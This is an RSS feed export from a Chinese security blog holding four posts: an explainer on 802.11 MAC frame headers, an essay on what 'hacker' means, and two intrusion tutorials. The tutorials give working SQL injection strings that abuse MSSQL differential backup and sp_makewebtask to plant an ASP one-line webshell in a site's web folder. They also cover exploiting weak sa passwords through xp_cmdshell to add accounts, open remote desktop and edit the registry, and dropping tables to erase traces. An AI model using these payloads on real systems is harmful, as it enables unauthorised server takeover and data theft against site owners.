﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Ay's Blog@CNSSUESTC-随笔分类-Security</title><link>http://www.cppblog.com/ay19880703/category/9056.html</link><description /><language>zh-cn</language><lastBuildDate>Sat, 19 Jan 2013 19:00:27 GMT</lastBuildDate><pubDate>Sat, 19 Jan 2013 19:00:27 GMT</pubDate><ttl>60</ttl><item><title>[导入]Wireless Fundamental(2) -- 802.11 MAC头格式解析(updating)</title><link>http://www.cppblog.com/ay19880703/archive/2011/03/05/155083.html</link><dc:creator>__ay</dc:creator><author>__ay</author><pubDate>Sat, 05 Mar 2011 08:55:00 GMT</pubDate><guid>http://www.cppblog.com/ay19880703/archive/2011/03/05/155083.html</guid><wfw:comment>http://www.cppblog.com/ay19880703/comments/155083.html</wfw:comment><comments>http://www.cppblog.com/ay19880703/archive/2011/03/05/155083.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/ay19880703/comments/commentRss/155083.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/ay19880703/services/trackbacks/155083.html</trackback:ping><description><![CDATA[<p>&nbsp;</p><p><span style="font-size:18px">作者：__ay&nbsp;</span></p><p>&nbsp;</p><p><span style="font-size: 18px; line-height: 22px; "><br /></span></p><p><span style="font-size: 18px; line-height: 22px; ">在上一篇中，简要概述了无线网络的通信机制，那么在下来就得开始介绍一下无线网络的通信细节了。说到这里，以后所说的内容会有《802.11 无线网络权威指南 第二版影印版》这本书内容的影子，还有内容中会加上通过wireshark抓包的分析以及IEEE关于wlan&nbsp;80211协议的说明文档。虽然说这本书虽然讲得好，但是很多数据包细节上的问题还是需要我们亲手去做实验去验证的，一向认为学习不能仅仅看书，亲手去验证一些你认为疑惑的地方可能会比做几道课后题的效果要好得多得多 ^_^</span></p><p><span style="font-size: 18px; line-height: 22px; "><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">1 MAC802.11数据帧格式</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">首先要说明的是mac802.11的帧格式很特别，它与TCP/IP这一类协议不同，它的长度是可变的。不同功能的数据帧长度会不一样。这一特性说明mac802.11数据帧显得更加灵活，然而，也会更加复杂。mac 802.11的数据帧长度不定主要是由于以下几点决定的</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">1.1 mac地址数目不定，根据帧类型不同，mac 802.11的mac地址数会不一样。比如说 ACK帧仅有一个mac地址，而数据帧有3个mac地址，在WDS模式（下面要提到）下，帧头竟然有4个mac地址。</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">1.2 802.11的管理帧所携带的信息长度不定，在管理帧中，不仅仅只有一些类似于mac地址，分片标志之类的这些信息，而且另外还会包括一些其它的信息，这些信息有关于安全设置的，有关于物理通信的，比如说我们的SSID名称就是通过管理帧获得的。AP会根据不同的情况发送包含有不同信息的管理帧。管理帧的细节问题我们会在后面的文章中讨论，这里暂时跳过。</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">1.3 加密（wep,wpa等）信息，QOS（quality of service）信息，若有加密的数据帧格式和没有加密的数据帧格式还不一样，加密数据帧格式还多了个加密头，用于解密用。然则QOS也是同样道理。</span></p><p><span style="font-size: 18px; line-height: 22px; "><br /></span></p><p><span style="font-size: 18px; line-height: 22px; ">竟然mac 802.11数据帧那么复杂，我们就先从通用的格式开始说吧</span></p><p><img src="http://www.cppblog.com/images/cppblog_com/ay19880703/20324/o_8a29fe944858205f7bf480c8.jpg" border="0" alt="" width="695" height="196" /><br /></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">帧控制(2&nbsp;bytes)：</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">用于指示数据帧的类型，是否分片等等信息，说白了，这个字段就是记录了mac 802.11的属性。</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Protocol version：表明版本类型，现在所有帧里面这个字段都是0x00</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Type：指明数据帧类型，是管理帧，数据帧还是控制帧</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Subtype：指明数据帧的子类型，因为就算是控制帧，控制帧还分RTS帧，CTS帧，ACK帧等等，通过这个域判断出该数据帧的具体类型</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*To&nbsp;DS/From&nbsp;DS：这两个数据帧表明数据包的发送方向，分四种可能情况讨论</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;**若数据包To&nbsp;DS为0，From&nbsp;DS为0，表明该数据包在网络主机间传输</span></p><p>&nbsp;</p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;**若数据包To&nbsp;DS为0，From&nbsp;DS为1，表明该数据帧来自AP</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;**若数据包To&nbsp;DS为1，From&nbsp;DS为0，表明该数据帧发送往AP</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;**若数据包To&nbsp;DS为1，From&nbsp;DS为1，表明该数据帧是从AP发送自AP的，也就是说这个是个WDS(Wireless Distribution System)数据帧，至于什么是WDS，可以参考下这里的介绍 <a href="http://network.pconline.com.cn/solution/0801/1216050.html" target="_blank">#传送门</a></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px; ">&nbsp;&nbsp; &nbsp;*Moreflag：分片标志，若数据帧被分片了，那么这个标志为1，否则为0</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Retry：表明是否是重发的帧，若是为1，不是为0</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*PowerManage：当网络主机处于省电模式时，该标志为1，否则为0.</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Moredata：当AP缓存了处于省电模式下的网络主机的数据包时，AP给该省电模式下的网络主机的数据帧中该位为1，否则为0</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Wep：加密标志，若为1表示数据内容加密，否则为0</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*Order 这个表示用于PCF模式下，这里不予讨论</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">生存周期/Associate&nbsp;ID&nbsp;(2 bytes):</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">先前不是讲过虚拟载波监听的一个机制么，他的Network Allocation Vector（NAV）就存在这里，这里叫duration，即生存周期。当然不是所有时候这个字段存放的NAV值。在特定类型数据帧中，它也可能表示Associate ID。一旦有主机关联到AP了，AP都会为主机分配一个Associate&nbsp;ID。比如在网络主机通知AP自己要进入省电模式（power saving）的时候，网络主机发给AP的通知数据帧里面，这个域就表示的是Associate ID而不是NAV了。当然还可以通过最高位来判断这个域的含义：</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*在15bit为0的时候，该域表示duration</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">&nbsp;&nbsp; &nbsp;*在15bit为1，14bit为1的时候，表示Associate ID。</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">序列控制(2 bytes：4&nbsp;bits/12 bits)：这个域分2部分，一个是分片序列号和标识帧列号。分片序列号就是记录分片序号的。比如一个帧A被分片成a1，a2，a3，那么a1，a2，a3这三个分片帧的分片序列分别是0,1,2。这个和IP分段原理一样的，该域占4个比特位。剩下的12个比特位就用于标识帧的序号，这个跟IP头里面的序列号一样。</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">MAC地址 1-4&nbsp;</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">这四个地址在不同帧中有不同含义。这些以后会讨论。</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">以后我们可能会碰到以下类型的mac地址</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">RA(receiver address)：无线网络中，该数据帧的接收者</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">TA(transmitter&nbsp;address)：无线网络中，该数据帧的发送者</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">BSSID(Basic Service Set ID)：在infrastructure&nbsp;BBS中，BSSID就是AP的mac地址。但是在IBBS中，它是一个随机即生成的46位二进制序列，还有最高两位分别是Universal/Local标志位和Individual/Group标志位。IBBS的BSSID中，Universal/Local标志位为1，表示本地MAC，Individual/Group标志位为0，表示是个人MAC。也就是说在IBBS中，BSSID地址应该类如 10xxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx（x表示随机数要么0要么1,&nbsp;2进制表示</span><span class="Apple-style-span" style="line-height: 22px; font-size: 16.6667px; ">）</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px; ">DA(destine</span><span class="Apple-style-span" style="font-size: 20px; line-height: 22px; ">&nbsp;address)：该帧的目的mac</span><span class="Apple-style-span" style="font-size: 20px; line-height: 22px; ">地址</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">SA(source&nbsp;address)：该帧的源mac地址</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">这里的DA和SA含义和普通以太网中的含义一样，在无线网络中可能我们需要通过AP把数据发送到其它网络内的某台主机中。但是有的人会奇怪，直接在RA中填这台主机的mac地址不就久好了么。但是请注意RA的含义，说的是无线网络中的接收者，不是网络中的接收者，也就是说这台目的主机不再无线网络范围内。在这种情况下我们的RA只是一个中转，所以需要多出一个DA字段来指明该帧的最终目的地，当然，如果有了DA那必须有SA，因为若目的主机要回应的话，SA字段是必不可少的。(假设没有SA字段，那么目的主机回应的数据包就只能发送到源主机所属的AP上了~)</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><br /></span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;">最典型的一个例子就是在WDS模式下，数据帧会有4个地址，RA，TA表示接收端和发送端，这两个地址用于无线传输的时候。还有2个地址是DA和SA，分别跟以太网中一样表示源地址和目的地址。WDS帧的格式如下图：</span></p><p><span class="Apple-style-span" style="font-size: 20px; line-height: 22px;"><img src="http://www.cppblog.com/images/cppblog_com/ay19880703/20324/o_1930a235428f1319241f146a.jpg" border="0" alt="" width="878" height="227" /><br /><span class="Apple-style-span" style="line-height: 21px; font-size: 12.5px; "><span class="Apple-style-span" style="line-height: 22px; font-size: 18px; ">打个比方说，AP1有主机A，AP2有主机B。如果A要和B同学，那么A会首先发送数据帧给AP1，然后</span><span class="Apple-style-span" style="line-height: 22px; font-size: 18px; ">AP1发送帧给AP2 。这个时候帧里面会有4个地址，分别是RA=mac(AP2)，TA=mac(AP1)，DA=mac(B)，SA=mac(A)。</span></span></span></p><p><br /></p><img src ="http://www.cppblog.com/ay19880703/aggbug/155083.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/ay19880703/" target="_blank">__ay</a> 2011-03-05 16:55 <a href="http://www.cppblog.com/ay19880703/archive/2011/03/05/155083.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[灌水]不做黑客 </title><link>http://www.cppblog.com/ay19880703/archive/2009/02/08/73186.html</link><dc:creator>__ay</dc:creator><author>__ay</author><pubDate>Sat, 07 Feb 2009 16:02:00 GMT</pubDate><guid>http://www.cppblog.com/ay19880703/archive/2009/02/08/73186.html</guid><wfw:comment>http://www.cppblog.com/ay19880703/comments/73186.html</wfw:comment><comments>http://www.cppblog.com/ay19880703/archive/2009/02/08/73186.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/ay19880703/comments/commentRss/73186.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/ay19880703/services/trackbacks/73186.html</trackback:ping><description><![CDATA[
						
						
																											文章作者：flashsky <br />
信息来源：邪恶八进制信息安全团队（<a href="http://www.eviloctal.com/" target="_blank">www.eviloctal.com</a>）<br /><br />
 
 某人最近很郁闷，他未来的老丈人不看好他的前景，他也觉得很难对这位老人解释自己的职业，说的好听点是安全研究员，但在圈子里大家都把我们叫黑客。黑
客，他老丈人一听就开始摇头了，是啊，最近黑客新闻正的挺多的，这不还赶上某地黑客窝点被警方捣毁的大事吗？你这不是干违法犯罪的勾吗，居然也想来明媒正
娶我的女儿，没门。<br /><br />
   
hacker这词，从国外来的，经过这么多年的变化，真的也很难说清楚他真正的含义了，有人说凯文是黑客，有人说史迪文是黑客，还有人说比尔叔叔是黑客，
最近还有据说是国内黑客圈里的顶级人物发表教学讲话说雷锋叔叔也是黑客的，以至于到现在我都怀疑，国内的这么多黑客敢情都是在响应号召学雷峰啊。<br /><br />
   
不过我大概知道我们被称呼为黑客的原因，因为我们是倾向于研究攻击技术研究的技术人员。很久以前，研究攻击技术是被正规的安全研究圈子所不齿的，正规的安
全研究只热心于研究防护的技术，如密码保护技术，安全体系结构等，于是爱好研究攻击技术的技术研究人员就被视为异类,排斥在安全研究的体制之外，他们只能
以黑客的身份，通过自己在攻击技术上研究的成果，向那些正规的安全研究圈子证明，安全防护与攻击永远都是一对矛盾体，不研究攻击技术只单纯的研究防护技
术，攻击技术总能找到饶开防护技术的方法去突破。到现在，攻击技术的研究也越来越被正规的安全公司所重视，即使是微软这样的软件巨头，也承认了攻击技术的
研究的地位，每年举办蓝帽会议，出钱邀请这些对攻击技术有研究的技术人员来给微软上至总裁，下到普通的开发人员讲攻击技术和安全的课。<br /><br />
   
但是同时，随着电子商务和越来越多的信息通过和依赖网络，也给很多人展示出了攻击技术的无限钱途，而技术信息的披露也使得入侵需要付出的技术成本越来越
低，于是拿着工具在网络上恶意入侵和获得非法收益的人越来越多，他们也顶着黑客的光环，虽然他们或许对工具使用的攻击技术一无所知，但是却被新闻和媒体广
泛的报道与渲染，甚至成为捧为天才，进一步吸引好奇的民众，惹得很多无知的孩子以他们为榜样，于是越来越多的只会用工具的“黑客”诞生了，当然一些有天分
的孩子最后能在攻击技术上有所研究，不过那时候，吸引他们的更多的是黑客的浮名与入侵获取的现实利益了，技术研究只是一个手段而已。<br /><br />
     当侠义的精神已经消失，盖世的武功也只能成为逞强斗狠，凌辱他人的工具，在只有名与利的江湖里，侠客早已消失。当追求技术完美与精神的自由的黑客精神，在喧嚣的红尘里迷失，而黑客技术只沦落为恶意入侵和获取非法利益的手段的时候，世上也就没有真正的黑客了。<br /><br />
   
江湖变了，人也老了，曾经的叛逆的那些攻击技术研究的黑客先驱已不能再回首，行业的发展也使得攻击技术的研究终于能光明正大的立足于安全研究领域的时候，
或许是应该让我们这些承袭攻击技术研究的"黑客"回归到传统的安全技术人员的本色上去的时候了，而不再是戴着一顶黑客的帽子，和那些今时代的黑客去争论谁
是真正黑客。<img src ="http://www.cppblog.com/ay19880703/aggbug/73186.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/ay19880703/" target="_blank">__ay</a> 2009-02-08 00:02 <a href="http://www.cppblog.com/ay19880703/archive/2009/02/08/73186.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sql注入之差异备分</title><link>http://www.cppblog.com/ay19880703/archive/2008/12/07/68767.html</link><dc:creator>__ay</dc:creator><author>__ay</author><pubDate>Sun, 07 Dec 2008 08:17:00 GMT</pubDate><guid>http://www.cppblog.com/ay19880703/archive/2008/12/07/68767.html</guid><wfw:comment>http://www.cppblog.com/ay19880703/comments/68767.html</wfw:comment><comments>http://www.cppblog.com/ay19880703/archive/2008/12/07/68767.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/ay19880703/comments/commentRss/68767.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/ay19880703/services/trackbacks/68767.html</trackback:ping><description><![CDATA[
		<p>
				<font size="3">    当你有了SQL语句基本功时依然用啊D之类的工具扫管理员密码，网站后台的时候是不是千遍一律，不耐烦了呢？呵呵，当时我也是很不耐烦了，拿个扫描器对一堆网站狂扫结果什么都没有。下面我们来说个成功率更高，适用性更广的方法，那就是传说中的差异备分</font>
		</p>
		<p>
				<font size="3">    关于差异备分我想已经臭名远洋了吧。下面我们先来简单说下数据库的差异备分：</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3">    </font>
				<font size="3">
						<strong>差异备份所基于的常规数据库备份、部分备份或文件备份称为差异的“基准”<i><!----></i>或“差异基准”<i><!----></i>。仅复制备份不能用作差异基准。文件差异备份的基准备份可以包含在完整备份、文件备份或部分备份中。有关详细信息，请参阅在</strong>
				</font>
				<font size="3">
						<strong>简</strong>
				</font>
				<font size="3">
						<strong>单模式下的备分或在完整模式下的备分</strong>
				</font>
				<font size="3">
						<strong>。</strong>
				</font>
		</p>
		<p>
				<font size="3">
						<strong>差异备份只记录自上次建立差异基准后更改的数据。差异备份比差异基准更小且更快，便于执行频繁备份，从而降低了数据丢失的风险。</strong>
				</font>
		</p>
		<p>
				<font size="3">
						<strong>    除只读数据库之外，其他数据库中每个文件的差异基准信息均保存在主文件组的一个目录中。每个数据库的差异基准信息亦存储在 master 数据库中。</strong>
				</font>
		</p>
		<br />
		<p>
				<font size="3">————以上是引用MSDN对差异备分的解释</font>
		</p>
		<p>
				<font size="3">   
所谓的差异备分，就是只备分最近一次备分之后到此次备分之前所增加的那一部分数据。打个比方我第N次备分后数据库存放的内容是ABCD，然后我第N+1次
备分的时候使用差异备分，此时数据库的存放的内容是ABCDEFG。那么我差异备分的结果就是EFG，只备分增加量。都明白了我们就开始讲点有用的东西
啦，嘿嘿~~为什么要用差异备分呢？因为规模点的网站数据库一般有几十M甚至，那么你备分出来的数据就有几十M，然后你从WEB上打开个几十M内容文件的
话……估计要很久吧。这么入侵的话我觉得你还是直接拿刀找网管让他把后台密码给你好了。再者我们备分的一句话木马会受到影响，如果数据库中存在《或者%之
类的字符的话。可能导致我们小马无法访问。还有就是备分那么大的数据库可能会导致脚本操作超时，所以我们得尽量减少我们备分出来的数据库的大小。为什么备
分数据库就可以入侵网站了呢……我们往下跳</font>
		</p>
		<br />
		<p>
				<font size="3">我不是分割线</font>
		</p>
		<p>
				<font size="3">________________________________________________________</font>
		</p>
		<br />
		<p>
				<font size="3">      我们来介绍下SQL的备分语句：</font>
		</p>
		<p>
				<font size="3">BACKUP DATABASE ****（表示你要备分的数据库名） TO DISK='*****'（表示你要备分的数据库路径） WITH DIFFERENTIAL（告诉数据库你要进行差异备分，如果没有WITH DIFFERENTIAL则进行完整备分）</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3">      举个例子，比如我们知道了WEB服务器的物理路径 D:\WEB\,服务器的数据库名为XXX</font>
		</p>
		<p>
				<font size="3">那么如果我们将一个一句话木马插入数据库中（后面讲到）然后备分数据库，具体语句如下</font>
		</p>
		<p>
				<font size="3">
						BACKUP DATABASE XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL</font>
		</p>
		<p>
				<font size="3">     
注意到D:\WEB\AY.ASP没有，意思就是说把数据库备分到WEB目录下而且数据库备分文件名为AY.ASP，可喜的是 
AY.ASP这个文件中存在我们的一句话木马语句，当服务器遇到ASP后缀名的文件时会对该文件进行ASP解析，ASP解析的原则是遇到&lt;%开始解
析，%&gt;结束解析。比如我们向数据库中插入一句话木马，这个时候我们插入的数据是新增的数据，然后用差异备分备分一个ASP文件到WEB目录下。那
么这个ASP文件下就会存在我们的木马内容了。然后访问一句话木马，然后小马传大马。</font>
		</p>
		<p>
				<font size="3">     
别告诉我不知道怎么访问，因为很多人还是不理解WEB物理路径和我们访问的URL之间的关系。简单说下好了，比如你的WEB根目录在这样D:\WEB\，
文件夹下有你想访问的文件AY.ASP。网站域名为http:\\xxx.xxx.xxx，那么你只要访问http:\\xxx.xxx.xxx
\AY.ASP就可以了。你的WEBSHELL就到手了，入侵服务器的进度就完成了10%（为什么是10%呢？因为90%的难度在提权~呵呵）。</font>
		</p>
		<p>
				<font size="3">原理知道没？接下来是实践了，往下看之前建议你把SQL的基本语句搞懂。</font>
		</p>
		<p>
				<font size="3">来，再往下跳</font>
		</p>
		<br />
		<p>
				<font size="3">我还是不是分割线</font>
		</p>
		<p>
				<font size="3">____________________________________________________________________________</font>
		</p>
		<p>
				<br />
		</p>
		<p>
				<font size="3">      首先我们需要注入的数据库类型是MSSQL的，而且这个数据库的连接权限必须是DB_OWNER的权限。（一般MSSQL数据库网站都是这个权限的）有建表的权限。满足以上条件的网站其实是比较多的。呵呵……</font>
		</p>
		<p>
				<font size="3">
						<font style="background-color: rgb(255, 255, 255);" face="Verdana">
								<br />
								URL;create table ay(ay1 image) --
						</font>
				</font>
		</p>
		<p>
				<font size="3">
						<font style="background-color: rgb(255, 255, 255);" face="Verdana">
								新建一个名为AY的表 表内存在名为AY1的图象类型的字段
						</font>
				</font>
		</p>
		<p>
				<font size="3">
						<font style="background-color: rgb(255, 255, 255);" face="Verdana">
								URL;backup database 数据库名 to disk='物理路径' with DIFFERENTIAL --  
						</font>
				</font>
		</p>
		<p>
				<font size="3">
						<font style="background-color: rgb(255, 255, 255);" face="Verdana">
								注意，这次备分是要减小数据库的备分量<br />URL;insert into ay (ay1) values (“一句话木马") -- 
						</font>
				</font>
		</p>
		<p>
				<font size="3">
						<font style="background-color: rgb(255, 255, 255);" face="Verdana">
								向你新建的表中插入一句话木马内容<br />URL;backup database 数据库名 to disk='物理路径'with DIFFERENTIAL --  
						</font>
				</font>
		</p>
		<p>
				<font size="3">
						<font style="background-color: rgb(255, 255, 255);" face="Verdana">
								备分数据库到WEB目录下
						</font>
				</font>
		</p>
		<p>
				<font style="background-color: rgb(255, 255, 255);" size="3" face="Verdana">URL;drop table xy --</font>
		</p>
		<p>
				<font size="3">删除表名，清理痕迹</font>
		</p>
		<p>
				<font size="3">     
步骤介绍完了，也许大家还是有疑惑，就是为什么第2句要备分一下，比如还是上面的例子，我们备分之前数据库存在内容为ABCD，我们进行差异备分，然后插
入小马，那么数据库内容表为ABCDE，E代表小马内容。那么差异备分出来内容为E。为什么这样呢，因为你不知道这台服务器多久之前备分过的，万一这服务
器没备分过而且数据库内容有几百M呢？所以严谨点的办法就是先备分一次在写入一句话木马。</font>
		</p>
<img src ="http://www.cppblog.com/ay19880703/aggbug/68767.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/ay19880703/" target="_blank">__ay</a> 2008-12-07 16:17 <a href="http://www.cppblog.com/ay19880703/archive/2008/12/07/68767.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于1433弱口令的利用-- by  __ay</title><link>http://www.cppblog.com/ay19880703/archive/2008/12/07/68766.html</link><dc:creator>__ay</dc:creator><author>__ay</author><pubDate>Sun, 07 Dec 2008 08:15:00 GMT</pubDate><guid>http://www.cppblog.com/ay19880703/archive/2008/12/07/68766.html</guid><wfw:comment>http://www.cppblog.com/ay19880703/comments/68766.html</wfw:comment><comments>http://www.cppblog.com/ay19880703/archive/2008/12/07/68766.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/ay19880703/comments/commentRss/68766.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/ay19880703/services/trackbacks/68766.html</trackback:ping><description><![CDATA[
		<font size="3">      这篇文章是面对大部分人的,所以对某些水平的人来说难免会有许多废话,你们可以跳过,呵呵~好了,开始吧……啊~我肚子饿了~呵呵</font>
		<p>
		</p>
		<p>
				<font size="3">     
首先讲下什么是1433弱口令漏洞，所谓弱口令就是指很简单的一些密码随便猜就能猜出来的，比如说密码是123，123456，admin甚至用户名密码
相同等等之类的状况，我们就能轻易获得对方的密码。呵呵，许多人都很懒，所以密码都很简单，包括我也是，呵呵……（而且还经常那123当临时密码）。在说
下什么是1433弱口令，1433所指的是1个服务端口，什么服务呢？那就是传说中的MSSQL啦，试想MSSQL安装之初的默认密码是空，然而又存在许
多懒网管，那么我们只要拿个工具简单的扫下在检测下密码……嘿嘿……可想而之扫到1433弱口令的几率还是蛮大的~呵呵</font>
		</p>
		<p>
				<font size="3">   
接下来我们说说拿到SA权限的1433弱口令我们能干什么，大家都知道XP_CMDSHELL这个扩展储存吧，这个扩展储存可以看做是MSSQL提供给管
理者执行CMD命令的一个功能模块，通过这个我们可以执行CMD命令而更可喜的是SA权限的帐户一般都是以SYSTEM权限启动的，权限相当于计算机管理
员权限，那么我们相当于可以用CMD命令的形式控制你要入侵的计算机了，当然我们肯定不会满足于用CMD控制机器，我们的目标是通过3389或者其他的软
件来达到控制计算机的目的。下面我们来分类讨论各种情况下的切入点，仅供参考……</font>
		</p>
		<p>
				<font size="3">以下假设你拿到了SA权限若口令的机器。有专门的SQL查询分析器可以连接对方.大家有兴趣可以去下一个来看看.</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3">1.当3389终端开启的时候，而目标机子也没做类似IP这样的过滤，那么我们就直接执行CMD命令加个用户，然后用加的用户登上去就OK了~呵呵</font>
		</p>
		<p>
				<font size="3">（需要无敌RP啊~~~）</font>
		</p>
		<p>
				<font size="3">2.那么如果CMD命令可以执行,但是没开3389,我们先扫下目标IP,看他有没有开80端口,有的话90%是有
WEB服务的,那么我们是SA权限直接丢个小马上去,嘿嘿.........有了马我们可以上传东西啦~~传个开3389的工具上去执行,机器重启下就可
以登3389了.</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3">以下是SA权限下备分小马的语句;</font>
		</p>
		<p>
				<font size="3" face="Verdana">exec sp_makewebtask '备分路径',' select ''一句话木马'' ';--</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3">例子如下</font>
		</p>
		<p>
				<font size="3">http:\\xx.x.x.x.asp?id=1;<font face="Verdana">exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''&lt;%25eval (request('#'))25%&gt;'' ';--</font></font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3">        </font>
				<font size="3">其实1433弱口令跟注入非常相似,比如你1433上有WEB服务你也可以用查询语句把用户名和密码找出来进后台传马.思路是非常多的,但是看你怎么使用了.</font>
		</p>
		<p>
				<font size="3">     
MSSQL的功能非常强大,所以几乎没有它办不到的事(扩展储存没删除情况下~而且SA权限没被降为USERS用户启动).但是但是万一人家把CMD给你
删除了,恢复也恢复不了的时候又该怎么办呢?如果我们没有CMDSHELL,又没开3389,那么SA权限看起来就象是鸡肋~</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">      关于在SQL连接器上查看目录的方式</font>
		</p>
		<p>
				<font size="3" face="Verdana">  </font>
		</p>
		<p>
				<font size="3" face="Verdana">exec xp_dirtree '(目录名,比如c:\)',1,1</font>
		</p>
		<p>
				<font size="3" face="Verdana">      </font>
		</p>
		<p>
				<font size="3" face="Verdana">      执行后就会返回目标机器指定目录下的文件夹和文件,那么通过这个你就可以列目录了</font>
		</p>
		<p>
				<font size="3" face="Verdana">      这个扩展储存的说明在注入语句集合里面有,这里就略过</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">exec xp_regread/exec xp_regwrite 注册表操作的扩展储存</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">      下面引用啊D注入语句里面的例子</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">写注册表<br />exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">读注册表<br />exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">     如果CMDSHELL用不了的时候,我们来试着恢复下CMD</font>
